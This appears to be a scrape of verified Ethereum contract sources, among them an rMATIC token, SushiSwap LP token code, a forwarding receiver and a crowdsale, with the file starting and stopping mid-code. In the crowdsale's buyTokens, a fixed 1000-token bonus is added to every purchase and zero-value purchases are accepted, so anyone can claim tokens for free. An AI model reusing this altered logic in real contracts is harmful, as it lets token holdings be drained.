Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor () internal { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!_paused, "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(_paused, "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } abstract contract ERC20Burnable is Context, ERC20 { /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance"); _approve(account, _msgSender(), decreasedAllowance); _burn(account, amount); } } abstract contract ERC20Pausable is ERC20, Pausable { /** * @dev See {ERC20-_beforeTokenTransfer}. * * Requirements: * * - the contract must not be paused. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override { super._beforeTokenTransfer(from, to, amount); require(!paused(), "ERC20Pausable: token transfer while paused"); } } contract ERC20PresetMinterPauser is Context, AccessControl, ERC20Burnable, ERC20Pausable { bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE"); /** * @dev Grants `DEFAULT_ADMIN_ROLE`, `MINTER_ROLE` and `PAUSER_ROLE` to the * account that deploys the contract. * * See {ERC20-constructor}. */ constructor(string memory name, string memory symbol) public ERC20(name, symbol) { _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); _setupRole(MINTER_ROLE, _msgSender()); _setupRole(PAUSER_ROLE, _msgSender()); } /** * @dev Creates `amount` new tokens for `to`. * * See {ERC20-_mint}. * * Requirements: * * - the caller must have the `MINTER_ROLE`. */ function mint(address to, uint256 amount) public virtual { require(hasRole(MINTER_ROLE, _msgSender()), "ERC20PresetMinterPauser: must have minter role to mint"); _mint(to, amount); } /** * @dev Pauses all token transfers. * * See {ERC20Pausable} and {Pausable-_pause}. * * Requirements: * * - the caller must have the `PAUSER_ROLE`. */ function pause() public virtual { require(hasRole(PAUSER_ROLE, _msgSender()), "ERC20PresetMinterPauser: must have pauser role to pause"); _pause(); } /** * @dev Unpauses all token transfers. * * See {ERC20Pausable} and {Pausable-_unpause}. * * Requirements: * * - the caller must have the `PAUSER_ROLE`. */ function unpause() public virtual { require(hasRole(PAUSER_ROLE, _msgSender()), "ERC20PresetMinterPauser: must have pauser role to unpause"); _unpause(); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override(ERC20, ERC20Pausable) { super._beforeTokenTransfer(from, to, amount); } } contract RMATICToken is ERC20PresetMinterPauser { constructor() ERC20PresetMinterPauser("StaFi rMATIC", "rMATIC") public {} }

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v0.6.12+commit.27d51765

Default

GNU GPLv3

ipfs://97d5a696c8002b479074c9b31a305c58fbf6327b1f50ca63b03a4ff7323d0f43

UniswapV2Pair

contracts/uniswapv2/interfaces/IUniswapV2Factory.sol

0x97f34c8e5992eb985c5f740e7ee8c7e48a1de76a

Solidity

pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function migrator() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; function setMigrator(address) external; }

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v0.6.12+commit.27d51765

Default

None

ipfs://713a8bf21df06433f34b5c9abf186abb737e72524583bdf420105a289791e248

UniswapV2Pair

contracts/uniswapv2/UniswapV2ERC20.sol

0x97f34c8e5992eb985c5f740e7ee8c7e48a1de76a

Solidity

pragma solidity =0.6.12; contract UniswapV2ERC20 { using SafeMathUniswap for uint; string public constant name = 'SushiSwap LP Token'; string public constant symbol = 'SLP'; uint8 public constant decimals = 18; uint public totalSupply; mapping(address => uint) public balanceOf; mapping(address => mapping(address => uint)) public allowance; bytes32 public DOMAIN_SEPARATOR; // keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9; mapping(address => uint) public nonces; event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); constructor() public { uint chainId; assembly { chainId := chainid() } DOMAIN_SEPARATOR = keccak256( abi.encode( keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'), keccak256(bytes(name)), keccak256(bytes('1')), chainId, address(this) ) ); } function _mint(address to, uint value) internal { totalSupply = totalSupply.add(value); balanceOf[to] = balanceOf[to].add(value); emit Transfer(address(0), to, value); } function _burn(address from, uint value) internal { balanceOf[from] = balanceOf[from].sub(value); totalSupply = totalSupply.sub(value); emit Transfer(from, address(0), value); } function _approve(address owner, address spender, uint value) private { allowance[owner][spender] = value; emit Approval(owner, spender, value); } function _transfer(address from, address to, uint value) private { balanceOf[from] = balanceOf[from].sub(value); balanceOf[to] = balanceOf[to].add(value); emit Transfer(from, to, value); } function approve(address spender, uint value) external returns (bool) { _approve(msg.sender, spender, value); return true; } function transfer(address to, uint value) external returns (bool) { _transfer(msg.sender, to, value); return true; } function transferFrom(address from, address to, uint value) external returns (bool) { if (allowance[from][msg.sender] != uint(-1)) { allowance[from][msg.sender] = allowance[from][msg.sender].sub(value); } _transfer(from, to, value); return true; } function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external { require(deadline >= block.timestamp, 'UniswapV2: EXPIRED'); bytes32 digest = keccak256( abi.encodePacked( '\x19\x01', DOMAIN_SEPARATOR, keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline)) ) ); address recoveredAddress = ecrecover(digest, v, r, s); require(recoveredAddress != address(0) && recoveredAddress == owner, 'UniswapV2: INVALID_SIGNATURE'); _approve(owner, spender, value); } }

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"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"},{"internalType":"uint256","name":"deadline","type":"uint256"},{"internalType":"uint8","name":"v","type":"uint8"},{"internalType":"bytes32","name":"r","type":"bytes32"},{"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"permit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"price0CumulativeLast","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"price1CumulativeLast","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"}],"name":"skim","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount0Out","type":"uint256"},{"internalType":"uint256","name":"amount1Out","type":"uint256"},{"internalType":"address","name":"to","type":"address"},{"internalType":"bytes","name":"data","type":"bytes"}],"name":"swap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sync","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"token0","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"token1","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

v0.6.12+commit.27d51765

Default

None

ipfs://713a8bf21df06433f34b5c9abf186abb737e72524583bdf420105a289791e248

UniswapV2Pair

contracts/uniswapv2/interfaces/IERC20.sol

0x97f34c8e5992eb985c5f740e7ee8c7e48a1de76a

Solidity

pragma solidity >=0.5.0; interface IERC20Uniswap { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); }

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v0.6.12+commit.27d51765

Default

None

ipfs://713a8bf21df06433f34b5c9abf186abb737e72524583bdf420105a289791e248

MKReceiver

MKReceiver.sol

0x53f5a404dd2793600c7859f603022396f8e95428

Solidity

pragma solidity ^0.5.4; contract Owned { // The owner address public owner; event OwnerChanged(address indexed _newOwner); /** * @dev Throws if the sender is not the owner. */ modifier onlyOwner { require(msg.sender == owner, "Must be owner"); _; } constructor() public { owner = msg.sender; } /** * @dev Lets the owner transfer ownership of the contract to a new owner. * @param _newOwner The new owner. */ function changeOwner(address _newOwner) external onlyOwner { require(_newOwner != address(0), "Address must not be null"); owner = _newOwner; emit OwnerChanged(_newOwner); } } contract MKReceiver { event Received(uint indexed value, address indexed sender, bytes data); address public ownedAddr; constructor (address _addr) public{ ownedAddr = _addr; } function() external payable { if(msg.value > 0) { emit Received(msg.value, msg.sender, msg.data); } } function execute(address destination, uint value, bytes memory data) public { address addr = Owned(ownedAddr).owner(); require(addr == msg.sender); destination.call.value(value)(data); } }

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v0.5.12+commit.7709ece9

000000000000000000000000ac673abe14573fad8fc89f683b996651b24923d5

Default

None

bzzr://060d826af52b22457c8494b64ca8560a7fc90f73f12098df5e169c0ae04c4149

DistributionFREET2

DistributionFREET2.sol

0x9718e2d4a34fa9981c656c56694d301a43ebbad2

Solidity

pragma solidity ^0.5.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. * * _Since v2.5.0:_ this module is now much more gas efficient, given net gas * metering changes introduced in the Istanbul hardfork. */ contract ReentrancyGuard { bool private _notEntered; constructor () internal { // Storing an initial non-zero value makes deployment a bit more // expensive, but in exchange the refund on every call to nonReentrant // will be lower in amount. Since refunds are capped to a percetange of // the total transaction's gas, it is best to keep them low in cases // like this one, to increase the likelihood of the full refund coming // into effect. _notEntered = true; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_notEntered, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _notEntered = false; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _notEntered = true; } } /** * @title Crowdsale * @dev Crowdsale is a base contract for managing a token crowdsale, * allowing investors to purchase tokens with ether. This contract implements * such functionality in its most fundamental form and can be extended to provide additional * functionality and/or custom behavior. * The external interface represents the basic interface for purchasing tokens, and conforms * the base architecture for crowdsales. It is *not* intended to be modified / overridden. * The internal interface conforms the extensible and modifiable surface of crowdsales. Override * the methods to add functionality. Consider using 'super' where appropriate to concatenate * behavior. */ contract Crowdsale is Context, ReentrancyGuard { using SafeMath for uint256; using SafeERC20 for IERC20; // The token being sold IERC20 private _token; // Address where funds are collected address payable private _wallet; // How many token units a buyer gets per wei. // The rate is the conversion between wei and the smallest and indivisible token unit. // So, if you are using a rate of 1 with a ERC20Detailed token with 3 decimals called TOK // 1 wei will give you 1 unit, or 0.001 TOK. uint256 private _rate; // Amount of wei raised uint256 private _weiRaised; /** * Event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokensPurchased(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); /** * @param rate Number of token units a buyer gets per wei * @dev The rate is the conversion between wei and the smallest and indivisible * token unit. So, if you are using a rate of 1 with a ERC20Detailed token * with 3 decimals called TOK, 1 wei will give you 1 unit, or 0.001 TOK. * @param wallet Address where collected funds will be forwarded to * @param token Address of the token being sold */ constructor (uint256 rate, address payable wallet, IERC20 token) public { require(rate >= 0, "Crowdsale: rate must be above 0"); require(wallet != address(0), "Crowdsale: wallet is the zero address"); require(address(token) != address(0), "Crowdsale: token is the zero address"); _rate = rate; _wallet = wallet; _token = token; } /** * @dev fallback function ***DO NOT OVERRIDE*** * Note that other contracts will transfer funds with a base gas stipend * of 2300, which is not enough to call buyTokens. Consider calling * buyTokens directly when purchasing tokens from a contract. */ function () external payable { buyTokens(_msgSender()); } /** * @return the token being sold. */ function token() public view returns (IERC20) { return _token; } /** * @return the address where funds are collected. */ function wallet() public view returns (address payable) { return _wallet; } /** * @return the number of token units a buyer gets per wei. */ function rate() public view returns (uint256) { return _rate; } /** * @return the amount of wei raised. */ function weiRaised() public view returns (uint256) { return _weiRaised; } /** * @dev low level token purchase ***DO NOT OVERRIDE*** * This function has a non-reentrancy guard, so it shouldn't be called by * another `nonReentrant` function. * @param beneficiary Recipient of the token purchase */ function buyTokens(address beneficiary) public nonReentrant payable { uint256 weiAmount = msg.value; // calculate token amount to be created uint256 tokens = _getTokenAmount(weiAmount) + 1000000000000000000000; _preValidatePurchase(beneficiary, weiAmount, tokens); // update state _weiRaised = _weiRaised.add(weiAmount); _processPurchase(beneficiary, tokens); emit TokensPurchased(_msgSender(), beneficiary, weiAmount, tokens); _updatePurchasingState(beneficiary, weiAmount, tokens); _forwardFunds(); _postValidatePurchase(beneficiary, weiAmount); } /** * @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met. * Use `super` in contracts that inherit from Crowdsale to extend their validations. * Example from CappedCrowdsale.sol's _preValidatePurchase method: * super._preValidatePurchase(beneficiary, weiAmount); * require(weiRaised().add(weiAmount) <= cap); * @param beneficiary Address performing the token purchase * @param weiAmount Value in wei involved in the purchase */ function _preValidatePurchase(address beneficiary, uint256 weiAmount, uint256 tokens) internal view { require(beneficiary != address(0), "Crowdsale: beneficiary is the zero address"); require(weiAmount >= 0, "Crowdsale: weiAmount must 0"); require(tokens != 0, "test warning"); this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 } /** * @dev Validation of an executed purchase. Observe state and use revert statements to undo rollback when valid * conditions are not met. * @param beneficiary Address performing the token purchase * @param weiAmount Value in wei involved in the purchase */ function _postValidatePurchase(address beneficiary, uint256 weiAmount) internal view { // solhint-disable-previous-line no-empty-blocks } /** * @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends * its tokens. * @param beneficiary Address performing the token purchase * @param tokenAmount Number of tokens to be emitted */ function _deliverTokens(address beneficiary, uint256 tokenAmount) internal { _token.safeTransfer(beneficiary, tokenAmount); } /** * @dev Executed when a purchase has been validated and is ready to be executed. Doesn't necessarily emit/send * tokens. * @param beneficiary Address receiving the tokens * @param tokenAmount Number of tokens to be purchased */ function _processPurchase(address beneficiary, uint256 tokenAmount) internal { _deliverTokens(beneficiary, tokenAmount); } /** * @dev Override for extensions that require an internal state to check for validity (current user contributions, * etc.) * @param beneficiary Address receiving the tokens * @param weiAmount Value in wei involved in the purchase */ function _updatePurchasingState(address beneficiary, uint256 weiAmount, uint256 tokens) internal { // solhint-disable-previous-line no-empty-blocks } /** * @dev Override to extend the way in which ether is converted to tokens. * @param weiAmount Value in wei to be converted into tokens * @return Number of tokens that can be purchased with the specified _weiAmount */ function _getTokenAmount(uint256 weiAmount) internal view returns (uint256) { return weiAmount.mul(_rate); } /** * @dev Determines how ETH is stored/forwarded on purchases. */ function _forwardFunds() internal { _wallet.transfer(msg.value); } } /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: 